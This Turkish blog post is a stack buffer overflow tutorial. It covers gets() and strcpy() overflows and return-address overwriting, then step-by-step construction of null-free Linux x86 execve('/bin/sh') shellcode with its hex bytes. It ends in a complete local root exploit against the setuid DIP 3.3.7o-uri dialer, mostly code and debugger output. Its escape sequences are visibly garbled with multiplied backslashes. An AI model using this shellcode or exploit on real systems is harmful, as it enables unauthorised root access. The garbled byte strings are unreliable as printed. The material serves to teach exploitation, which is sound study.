Sayfalar

8 Temmuz 2010 Perşembe

Buffer overflow Security

Buffer overfl0w Security

Bir degiskeni saklayabilecegi yerden daha fazla bilgiyle doldurmaya calisirsaniz karsiniza windows’larda gpf, *nix’de segmentation fault olarak cikan olay. input olarak girilen bilginin esp stack pointer’ina tekabul eden yerine yine bu inputtaki uygun memory adresi getirilirse makine uzerinde istenilen kodu icra ettirilebilir ki bu hackerlarin en cok basvurduklari yontemdir. bu makine kodu sistemde genellikle bir backdoor acmak icin yazilir, cogu zaman shell code olarak bilinir.Milw0rm,SecurityFocus gibi sitelerde shellc0de bölümlerinde bulunan exploitlerdir.metasploit yazılımıyla derlenip backdoor açmak içinde kullanılırlar.

C dili dizi referansları üzerinde sınır kontrolü yapmıyor ve yerel değişkenler yığıt(stack) üzerinde o anki durum bilgisini oluşturan dönüş adresi ve frame göstericisiyle birlikte tutuluyor. Bu iki durumun birleşmesi yanlış ellerde ciddi hataların oluşmasına sebep olabilir. Öncelikle kütüphane fonksiyonu olan gets() nasıl çalışıyor bir göstermemiz gerekiyor.



Quote: AKINCILAR
char *gets(char *s){
int c;
char *dest = s;
while ((c = getchar()) != ’\\\\\\\\n’ && c != EOF)
*dest++ = c;
*dest++ = ’\\\\\\\\0’; /* Terminate String */
if (c == EOF)
return NULL;
return s; }







Görüldüğü üzere gets fonksiyonu ’\\\\\\\\n’ (yeni satır) veya EOF görene kadar standart inputtan girdiyi alarak s ile gösterilen yere girdiyi kopyalar, sonuna da "null" karakterini koyar. Bu sırada hiç bir sınır kontrolü yapmıyor. Şimdi gets() fonksiyonunu çağıran bergi fonksiyonunu inceleyelim.



Quote: AKINCILAR
void bergi() {
char buf[4];
printf(“3 karakterden uzun bir string girmeyiniz:)”);
gets(buf);
puts(buf); }









Bufferımız 4’lük olduğu için en fazla 4 karakter girebiliriz gibi görünüyor en başta. Ancak gets’in sona eklediği null karakterini de hesaba katarsak en fazla 3 karakter girebiliriz. Peki 3 karakterden fazla karakter girersek ne olacak? İşte bu durumu incelememiz gerekiyor. Yukardan aşağıya doğru adresin azaldığını düşünelim. Öncelikle kullanıcıdan alınan girdinin “123” olduğu durumu değerlendirelim. Yığıtın o anki durumu aşağıdaki gibi olacaktır. (1den 9 a kadar olan sayılar için ascii tablosunda verilen onaltılık tabandaki değerler 0x31 ile 0x39 arasındadır.)


Eğer girdi “1234567” olursa buffer 1234 ile dolacak , frame göstericisi ise 567 ve null karakterleriyle dolacaktır ve yığıt şu halde olacaktır.

Yani buf[4] ’ten buf[7] ’ ye kadar olan tüm yazmalar frame göstericisinin (pointerının) değerini değiştirecektir. bergi fonksiyonun işi bittiğinde ve çağrıldığı fonksiyona dönülmek istendiğinde frame göstericisinin değerleri değiştiği için (az bir ihtimal kullanıcı frame göstericisi %ebp’nin değeri ile aynı değeri verecek karakterleri girseydi sorun olmayacaktı), yanlış bir çerçeve içinde bergi fonksiyonu kaldığı yerden çalışmaya devam edecekti ve fonksiyon içinde kullanılan tüm referanslar geçersiz olacaktı.

Son olarak da “123456789” girildiğini düşünelim. Bu durumda yığıttaki buffer, %ebp ve dönüş adres kısımları ekrandan girilen girdiyle dolacak ve değerleri değişecekti. Yanlış bir çerçeveye geçilecek ve dönüş adresi de değiştiği için bergi fonksiyonunu çağıran fonksiyonda kalındığı yerden devam edilemeyecekti. Yüksek olasılıkla segmentation fault hatası alınacaktı.

Boylece buffer doldu tasti, geri donus adresi de dahil olmak uzere hafizanin
bir kismini ’A’ harfi ile doldurdu. Bu programi derleyip calistirirsak,
"Segmentation fault (core dumped)" hatasi aliriz. Bu hatanin sebebi
genellikle programin kendine ait bellek kismi disindaki kisimlara erismeye
calismasidir. Core dosyasini, programin crash ettigi andaki hafiza
fotografi olarak dusunebiliriz.

gdb ile olusan core dosyasini incelersek:

[evil@victim evil]$ gdb -q ./e ./core
Core was generated by `./e’
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)

Gordugunuz gibi, RET instruction’i EIP register’ina ’AAAA’ ya karsilik gelen
0x41414141 adresini PUSH ettigi icin, bu adresteki instruction’a islemci
tarafindan erisilmeye calisilmis. Fakat bu adres prosesin erisim yetkisi
disinda oldugu icin isletim sistemi SIGSEGV signaliyla programin calismasina
son vermis.

fonksiyon’u cagirdigimizda Stack’in gorunumu soyledir:

| *str | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo1 | EBP-4
| foo1 | EBP-8
| foo1 | EBP-12
| foo1 | EBP-16

Biz strcpy()’yi cagirdigimizda buyuk_array, foo1 array’inin baslangic adresi
olan EBP-16’dan baslayarak, yukari dogru butun stack’i A ile dolduruyor.
Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese
calismasini istedigimiz baska bir program parcaciginin adresini koysak,
fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki
instruction’lari calistirmaya baslamaz mi?

Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod
calismaya baslayacak ve biz shell’e dusecegiz.

Pointer aritmetigi ile, geri donus adresinin degerini degistiebildigimizi
soyle ufak bir ornekte anlatmaya calisalim:

void fonksiyon(int a, int b, int c)
{
char foo[6];
int *ret;

ret = foo + 12;
(*ret) += 8;
}

void main()
{
int x;

x = 0;
fonksiyon(1, 2, 3);
x = 1;
printf("%d\\\\\\\\n", x);
}

Yukaridaki kodu calistirisaniz, x degerinin 1 olarak degil 0 olarak
basildigini goreceksiniz. Burada yaptigimiz sey, geri donus adresinin degeri
ile oynayarak, x = 1; komutunu pas gecmek oldu.

Yukaridaki kodda daha once de anlattigimiz gibi, fonksiyon cagrilmadan once,
bir sonraki instruction’un yani "x = 1"e denk gelen instruction’in adresi
geri donus adresi olarak stack’e PUSH ediliyor. Fonksiyon cagrildiktan sonra
stack’in gorunumunu sembolize edecek olursak:


| a | EBP+16
| b | EBP+12
| c | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo | EBP-4
| foo | EBP-8

fonksiyon icinde bir integer’a pointer olan *ret, in adresini, foo’nun adresi
+ 12 olarak belirledik. Yukaridaki sekle bakarsaniz, foo’nun
adresi(ESP-8)’e 12 eklerseniz geri donus adresinin basina gelmis oluruz.
(*ret) += 8 yaparak da, o bolmede saklanmakta olan geri donus adresinin
degerini 8 aritiriyoruz. Neden mi? Kodumuzun assembler dump’ina bakalim:

0x804849d : pushl $0x3
0x804849f : pushl $0x2
0x80484a1 : pushl $0x1
0x80484a3 : call 0x8048470
0x80484a8 : addl $0xc,%esp
0x80484ab : movl $0x1,0xfffffffc(%ebp)
0x80484b2 : movl 0xfffffffc(%ebp),%eax
0x80484b5 : pushl %eax
0x80484b6 : pushl $0x804851c
0x80484bb : call 0x80483bc
0x80484c0 : addl $0x8,%esp
0x80484c3 : leave
0x80484c4 : ret

daki fonksiyon’a CALL yapilmadan once ne yapiliyordu? Bir sonraki
instruction’un adresi stack’a push ediliyordu. Yani stack’e diger
instruction’un adresi olarak (x = 1’in) 0x80484ab adresi PUSH edilecek. Fakat
biz burdaki instruction’u gecmek ve de direkt olarak 0x80484b2 adresinden
devam etmek istiyoruz. Aradaki fark da 0x80484b2 - 0x80484ab = 0x8.
Yani 8 byte’lik bir fark var. O zaman, stack’a PUSH edilen geri donus
adresini degerini 8 artirirsak, x = 1 islemini bypass etmis olacagiz. Iste
bu nedenle 8 byte artiriyoruz: (*ret) += 8;.

Evet, eger retun adresin degeri ile oynayip, onu istedigimiz bir hafiza
bolmesine yonlendirebiliyorsak, o zaman, hafizada shell spawn eden bir
instruction’lar dizisi bulundurur, geri donus adresini de bu instruction’lar
dizisinin baslangic adresi olarak degistiririz, ve voila, direk olarak
shell’e duseriz!!!

Peki o zaman, shell spawn etmek icin ne yapmali? En basitinden C’de soyle
olacaktir:

#include

void main()
{
char *shell[2];

shell[0] = "/bin/sh";
shell[1] = NULL;

execve(shell[0], shell, NULL);
}

execve(2)’yi okursaniz, execve system call’u calistirilacak dosya ismine
pointer, arguman pointer’i ve de NULL da olabilen bir environment pointer’i
aliyor. Bu kodu derleyip calistirirsaniz:

[MnmL@victim MnmL]$ ./s
bash$

baska bir shell spawn etmis olursunuz...

Fakat biz "shell spawn eden programimizi" boyle cagiramayiz, oyle degil mi?
O zaman bunu makinanin direkt calistirabilecegi instruction’lar dizisi haline
getirmek lazim. Yukaridaki kodumuzu gcc’ye --static parametresi vererek
derleyip, assembler ciktisina bakalim:

[MnmL@victim MnmL]$ gcc --static -o s s.c
[MnmL@victim MnmL]$ gdb ./s
(gdb) disas main
Dump of assembler code for function main:
0x8048124 : pushl %ebp
0x8048125 : movl %esp,%ebp
0x8048127 : subl $0x8,%esp
0x804812a : movl $0x80592ac,0xfffffff8(%ebp)
0x8048131 : movl $0x0,0xfffffffc(%ebp)
0x8048138 : pushl $0x0
0x804813a : leal 0xfffffff8(%ebp),%eax
0x804813d : pushl %eax
0x804813e : movl 0xfffffff8(%ebp),%eax
0x8048141 : pushl %eax
0x8048142 : call 0x804ca10
0x8048147 : addl $0xc,%esp
0x804814a : leave
0x804814b : ret
0x804814c : nop
0x804814d : nop
0x804814e : nop
0x804814f : nop
End of assembler dump.
(gdb)

Yukarida kisaca, ve de procedure prologue goruluyor,
-- char *shell icin gerekli 8 byte stack pointer’dan cikiliyor,
-- "/bin/sh" string’inin adresi EBP - 8’e yani shell[0]’a konuyor
- 0x0 yani NULL EBP - 4’e konuyor

simdi de sirasiyla argumanlar bir sonraki fonksiyon (execve) icin stack’a
PUSH ediliyor...

- 0x0 (shell[1]) PUSH ediliyor
- shell[0]’daki "/bin/sh" in adresi EAX registirina konuyor
- EAX stack’a push ediliyor, (dolayisiyla shell[0]in icindeki
efektiv adres)
- shell[0] in adresi EAX’a kopyalaniyor,
- EAX gene PUSH ediliyor
- execve() cagriliyor...


Simdi de execve’nin assembler dump’ina bakalim:

(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

Ilk uc satir, procedure prologue:

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

Syscall table’daki execve’nin numarasi olan 11’i EAX’a kopyaliyoruz.
(farkli system call calistirmak isteyebilirsiniz, system call’un numarasini
/usr/src/linux/include/asm/unistd.h dosyasindan ogrenebilirsiniz. Farkli
system call’lari kullanan daha egzotik shellcode’lari sonraki dokumanlarda
bulabileceksiniz)

0x80002c0 <__execve+4>: movl $0xb,%eax

"/bin/sh" in adresini EBX’e kopyaliyoruz:

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

shell[]’in adresini ECX’e kopyaliyoruz:

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

NULL pointer’in adresini EDX’e kopyaliyoruz:

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

ve, kernel mod’a geciyoruz:

0x80002ce <__execve+18>: int $0x80

Simdi de, exit() icin gerekli assebmly kodlari:

(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

Yukadida da, ozet olarak, EAX register’i syscall table’da exit’in karsiligi
olan 1 yapilip, EBX’de 0 yapilip kernel mode’a geciliyor.

Evet yukaridakileri soyle bir ozetlersek, yaptigimiz sey, stack’a shell[0],
shell ve NULL PUSH edip execve’yi cagirmakti. Sonra execve "/bin/sh"i
calistirdi. Yalniz dikkat ediniz, execve’nin icinde yapilan isler tamamen
Linux-specific’tir. Linux, kernel moduna gecmeden once gerekli olan seyleri
register’lara koyar ve sonra da kernel moduna gecer, eger isletim sistemimiz
FreeBSD olsa idi, execve bu parametreleri gene stack’a koyacakti...

execve’nin calismasi icin gereken sartlar:

1. Hafizanin bir yerinde "/bin/sh" stringini bulundurmak,
2. "/bin/sh" in adresini ve arkasindan bir adet null long word bulundurmak
3. system call table’da execve’yi tanimlayan 0xb (11) degerini EAX registerina
koymak
4. "/bin/sh" in adresinin adresini EBX registerina koymak
5. shell’in adresini ECX registerina koymak
6. null long word’un adresini EDX registerina koymak,
7. 0x80 ile kernel moda gecmek.

Iste bu kadar, yalniz execve’de bir sorun oldugunda programin smooth exit
yapabilmesi icin bir de buna exit() system call’unu eklemeliyiz, ama bu
zorunlu degil. Bunu yapmayip shellcode’unuzu kisaltabilirsiniz.

exit() calistiran bir programi assembler koduna baktiginiz zaman, exit
syscall’unun da kernel moda gecmeden evvel, EAX registerina 0x1 (1) ve
de, EBX registerina 0x0 (0) istedigini goreceksiniz.

O zaman 7. den sonra 8, 9 ve 10. adimlarimizi da yazalim:

8. system call table’da exit’in karsiligi olan 0x1’i EAX’a koy
9. EBX’e 0x0 koy
10 0x80 ile kernel moduna gec.

Evet, kisaca boyle. Bu isleri yapan bir shell code yazip, objdump’la
hex karsiligini bulabiliriz:

void main() {
__asm__("
jmp 0x2a # 3 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
movb $0x0,0x7(%esi) # 4 byte
movl $0x0,0xc(%esi) # 7 byte
movl $0xb,%eax # 5 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
movl $0x1, %eax # 5 byte
movl $0x0, %ebx # 5 byte
int $0x80 # 2 byte
call -0x2f # 5 byte
.string \\\\\\\\"/bin/sh\\\\\\\\" # 8 byte
");
}

Bu programi derleyip objdump’la sadece main’in icerigine bakalim:

[mnml@victim mnml]$ make q
cc q.c -o q
[mnml@victim mnml]$ objdump -d q | grep \\\\\\\\: -A23 | more
08048440 :
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 2a jmp 804846f
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: c6 46 07 00 movb $0x0,0x7(%esi)
804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi)
8048452: 00 00
8048454: b8 0b 00 00 00 movl $0xb,%eax
8048459: 89 f3 movl %esi,%ebx
804845b: 8d 4e 08 leal 0x8(%esi),%ecx
804845e: 8d 56 0c leal 0xc(%esi),%edx
8048461: cd 80 int $0x80
8048463: b8 01 00 00 00 movl $0x1,%eax
8048468: bb 00 00 00 00 movl $0x0,%ebx
804846d: cd 80 int $0x80
804846f: e8 d1 ff ff ff call 8048445
8048474: 2f das
8048475: 62 69 6e boundl 0x6e(%ecx),%ebp
8048478: 2f das
8048479: 73 68 jae 80484e3 <_etext+0x33>
804847b: 00 c9 addb %cl,%cl
804847d: c3 ret

Gordugunuz gibi bize gerekli instruction’lar 0x8048443’ten itibaren basliyor.
Dikkat ederseniz, instruction’lar arasinda ornegin movl $0xb,%eax’a denk
gelen 0 iceren bir kac byte vardir. Sorun su ki, strcpy() ve arkadaslari
0 byte’i string’in sonu olarak algiliyor, yani bu haliyle bizim shellcode
sadece ilk 0 byte’a kadar kopyalanacak. 0’lara denk gelen instruction’lari
bunlarin dengi fakat 0 icermeyen instruction’larla degistirip tekrar
deneyelim. Asagida, hangi instruction’lari hangileriyle degistirdigimiz
yeraliyor:

movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax

Ve yeni shellcode’umuz:

void main() {
__asm__("
jmp 0x1f # 2 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
xorl %eax,%eax # 2 byte
movb %eax,0x7(%esi) # 3 byte
movl %eax,0xc(%esi) # 3 byte
movb $0xb,%al # 2 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
xorl %ebx,%ebx # 2 byte
movl %ebx,%eax # 2 byte
inc %eax # 1 byte
int $0x80 # 2 byte
call -0x24 # 5 byte
.string \\\\\\\\"/bin/sh\\\\\\\\" # 8 byte
# toplam 46 byte
");
}

[mnml@victim mnml]$ make q
cc q.c -o q
[mnml@victim mnml]$ objdump -d q | grep \\\\\\\\: -A23
08048440 :
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 1f jmp 8048464
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: 31 c0 xorl %eax,%eax
804844b: 88 46 07 movb %al,0x7(%esi)
804844e: 89 46 0c movl %eax,0xc(%esi)
8048451: b0 0b movb $0xb,%al
8048453: 89 f3 movl %esi,%ebx
8048455: 8d 4e 08 leal 0x8(%esi),%ecx
8048458: 8d 56 0c leal 0xc(%esi),%edx
804845b: cd 80 int $0x80
804845d: 31 db xorl %ebx,%ebx
804845f: 89 d8 movl %ebx,%eax
8048461: 40 incl %eax
8048462: cd 80 int $0x80
8048464: e8 dc ff ff ff call 8048445
8048469: 2f das
804846a: 62 69 6e boundl 0x6e(%ecx),%ebp
804846d: 2f das
804846e: 73 68 jae 80484d8 <_fini+0x28>
8048470: 00 c9 addb %cl,%cl

Shell kodumuzu deneyelim:

char shellcode[] =
"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"
"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"
"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";

void main()
{
int *ret;

ret = (int *)&ret + 2;
(*ret) = shellcode;
}


[mnml@victim mnml]$ make shellcode
cc shellcode.c -o shellcode
[mnml@victim mnml]$ ./shellcode
bash$

Iste calisti!

Yaptigimiz sey, main() icindeki pointer to integer olan ret degiskeninin
adresini 2 birim (8 byte) artirarak geri donus adresinin oldugu yere gitmek,
sonra da o bolume shellcode’umuzun adresini saklamakti. main RET yaptiginda
geri donus adresi yerine shell kodumuzun adresini POP edildi, ve islemci
bu adresteki instruction’lari calistirdi...

-- Exploit Yazma --

Simdi kendimiz bir buffer overflow hatasi olan bir kod yazip, ondan shell
calistiralim:

victim.c:

char shellcode[] =
"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"
"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"
"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";

char large_str[50];

void main()
{
int i;
char foo[12];

int *ap = (int *)large_str;

for (i = 0; i < 50; i += 4)
*ap++ = shellcode;
strcpy(foo, large_str);
}


[mnml@victim mnml]$ make victim
cc victim.c -o victim
[mnml@victim mnml]$ ./victim
bash$

Voila! Iste bu kadar. Peki ne yaptik? for dongusunde, large_str array’ine
shellcode’umuz olan shellcode’nin adresini kopyaladik. Adres 32 bit - 4 byte
oldugu icin, i degiskenini 4’er artiriyoruz. Daha sonra, main()’in icindeki
12 bytelik array’e, shellcode’umuzun adresini barindiran 50 bytelik bir array
kopyalayinca (strcpy()), geri donus adresinin uzerine large_str’nin icerigi --
bizim shellcode’un adresi -- yazildi. Ve dolayisiyla main() cagrilmadan
once save edilen geri donus adresi, shell kodumuzun adresi ile override
edildi. Boylece main()’deki RET shellcode’un adresini POP ediyor ve islemci
o adresteki instruction’lari calistirip bize shell prompt veriyor. Burda
karistirilmamasi gereken bir nokta, strcpy()’nin kendi buffer’ini degil,
main()’in buffer’ini overflow etmesi. Yani strcpy() CALL edilirken, ondan
sonraki instruction’in adresi strcpy() RET ettikten sonra da eskisi gibi
duruyor. strcpy()’nin overwrite ettigi main()’in local degiskeni olan foo.

Evet, simdi burada kendi programimizin buffer’ini overflow ettik,
shellcode’umuzun adresin biliyorduk. Peki baska bir programin buffer’ini
overflow ederken napicaz? Shellkodumuzun hafizanin neresinde olacagini
nereden bilecegiz? Guzel bi soru.

Iki cevabi var:

1. Aleph1’in paper’inda yazdigi gibi, aslinda bilemeyiz, isletim sistemi o
kodu bi yerlere atar, biz de shell kod’un offset’ini tahmin edebiliriz. Ama
bu su anda cok "lame" kabul edilen bir yontem.

2. Akillilik edip, shell kodun adresini biz kendimiz belirleyebiliriz.
Nasil mi?

Linux ELF binary’si hafizaya yuklendigindeki hafiza haritasinin en yuksek
adresine gdb ile detayli gozatarsak sunu goruruz:


--------------------- 0xBFFFFFFF
|\\\\\\\\000 \\\\\\\\000 \\\\\\\\000 \\\\\\\\000| 0xBFFFFFFB (4 tane NUL byte)
|\\\\\\\\000 ...... | 0xBFFFFFFA (program_ismi)
| ..................|
|...................| 1. environment degiskeni (env[0])
|...................| 2. environment degiskeni (env[1])
|...................| 3. ...
|...................| ...
|...................| 1. argument string’i (argv[0])
|...................| 2. argument string’i (argv[1])
|...................| 3. ...
| . |
| . |
| . |

Daha once execve() nin son parametresinin environment degiskenlerini tutan
bir string’ler array’i oldugunu soylemistik. Buraya kadar guzel, yukaridaki
sekle bakarsaniz, biz, 1. enviroment degiskeninin *baslangic* adresini kesin
olarak hesapliyabiliriz.

envp = 0xBFFFFFFF -
4 - (4 tane NUL byte)
strlen(program_ismi) - (program isminin son NUL’i icermeyen boyutu)
1 - (yukarida strlen()’in saymadigi NUL)
strlen(envp[0]) (ilk environment degiskenin boyutu)

Daha da basitlestirirsek:

envp = 0xBFFFFFFA - strlen(program_ismi) - strlen(env[0])

O zaman envp[0]’a shellcode’umuzu koyup, envp’yi execve’ye environment
degiskenlerini barindiran array of strings parametresi olarak verebiliriz.
Boylece shellcode’umuzun adresini kesin bildigimize gore, overflow
edecegimiz buffer’i hangi adresle doldurmamiz gerektigini biliyoruz:

ret = 0xBFFFFFFA - strlen(program_ismi) - strlen(shellcode);

Buffer overflow ne demek biliyoruz, bufferi nasil overflow edecegimizi
biliyoruz, return adresi nasil modifiye edebilecegimizi biliyoruz,
shellcode’umuzun adresini de biliyoruz, sorun kalmadi, simdi ilk gercek
exploit’umuzu yazabiliriz:

- The Exploit -

DIP (Dial Up IP protocol) programinin 3.3.7o-uri (8 Feb 96) versiyonunda,
bir buffer overflow hatasi vardi. Bu program bazi Linux dagitimlarinda
by-default setuid olarak geliyordu. Programin aldigi parametrelerden -l
switch’i, programin icinde manipulate edilirken stpcpy() fonksiyonu ile
bounds checking yapilmadan kopyalaniyordu. Dolayisiyla burada bir buffer
overflow olusuyordu.

DIP’in bu versiyonunda hatali olan kod asagidaki gibiydi:

command.c dosyasinda, asagidaki gibi bi operasyon var:

l = stpcpy(l, argv);

Man stpcpy deyip bakarsaniz stpcpy fonksiyonu buffer’in sinirlari hakkinda
hicbir kontrol uygulamadan kendisine verilen string’i digerine oylece
kopyaliyor. Iste burada yapacagimiz sey de bu buffera shell kodumuzun
adresini ’dikkatlice’ yerlestirmek.

[mnml@victim mnml]$ /usr/sbin/dip -k -l `perl -e ’print "A"x116’`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
[mnml@victim mnml]$ /usr/sbin/dip -k -l `perl -e ’print "A"x117’`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
Segmentation fault (core dumped)
[mnml@victim mnml]$

Yukarida gordugunuz gibi, dip’in -l switch’ine 116’dan fazla deger
girdiginizde (mesela 117) return adresi override etmis oluyorsunuz :)
Bu da stpcpy ’de bufferin kopyalandigi yerden sonra 117. byte da
RET basliyor demek.

Simdi exploit:

/* /usr/sbin/dip | euid = 0 | mnml@r00t.us */

#include
#include
#include

#define BUFSIZE 250

char sc[] =
"\\\\\\\\xeb\\\\\\\\x1f\\\\\\\\x5e\\\\\\\\x89\\\\\\\\x76\\\\\\\\x08\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x88\\\\\\\\x46\\\\\\\\x07\\\\\\\\x89\\\\\\\\x46\\\\\\\\x0c\\\\\\\\xb0\\\\\\\\x0b"
"\\\\\\\\x89\\\\\\\\xf3\\\\\\\\x8d\\\\\\\\x4e\\\\\\\\x08\\\\\\\\x8d\\\\\\\\x56\\\\\\\\x0c\\\\\\\\xcd\\\\\\\\x80\\\\\\\\x31\\\\\\\\xdb\\\\\\\\x89\\\\\\\\xd8\\\\\\\\x40\\\\\\\\xcd"
"\\\\\\\\x80\\\\\\\\xe8\\\\\\\\xdc\\\\\\\\xff\\\\\\\\xff\\\\\\\\xff/bin/sh";

void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE] = "A";
int i;
int *ap = (int *)(buf + strlen(buf));
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}

Simdi exploitimizi aciklayalim:

BUFFER buyuklugunu 250 byte olarak belirliyoruz, ki 117’den fazla hersey olur
burda. (Fakat bu, her bir exploit icin gecerli degil. Detaylar bir sonraki
dokumanda.)

shell kodumuzu yaziyoruz, ve simdi de main():

shell kodumuzun adresini sakliyacagimiz 2 birimlik bir environment pointer
atiyoruz. Bunun birinci elemaninda shell kodun adresini, digerine de NULL
atiyoruz (execve() boyle istiyor):

char *env[2] = {sc, NULL};

Sonra buffer’imiz icin yer ariyoruz. Bu buffer’i -l switch’ine paremetre
verecegiz. Burda bir tek A koymamiz, ALIGNMENT icin. Hafiza cogumuzun
kullandigi 32 bit islemcilerde 4 byte’lik bolmeler halinde adreslenir.
Dolayisiyla RET’in baslama ve bitimi arasinda 4 byte var. Bizim buffer’imiz
117 byte’dan sonra override ediyor RET’i. 117 4’un kati degil. ona en yakin ve
ondan kucuk 116 var. 1 eksik. O zaman buffer’a bir adet A yazalim ve de dorder
dorder ilerleyerek RET’i shell kodun adresi ile override edelim:

char buf[BUFSIZE] = "A";

Adres pointer’imiz buffer’in A’dan sonraki ilk bolumune isaret ediyor:

int *ap = (int *)(buf + strlen(buf));

RET adresimizi kesin hesapliyoruz, detaylari icin yukariya bakin.

int ret = 0XBFFFFFFA - strlen(sc) - strlen("/usr/sbin/dip");

Dorder dorder ilerleyip, ret’in degerini buffer’in icine dolduralim. Burada
neden *ap’nin degerini 4 artirmiyoruz derseniz, zaten ap bir pointer onun
degerini bir artirmak demek, adresin degerini 4 artirmak demektir:

for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;

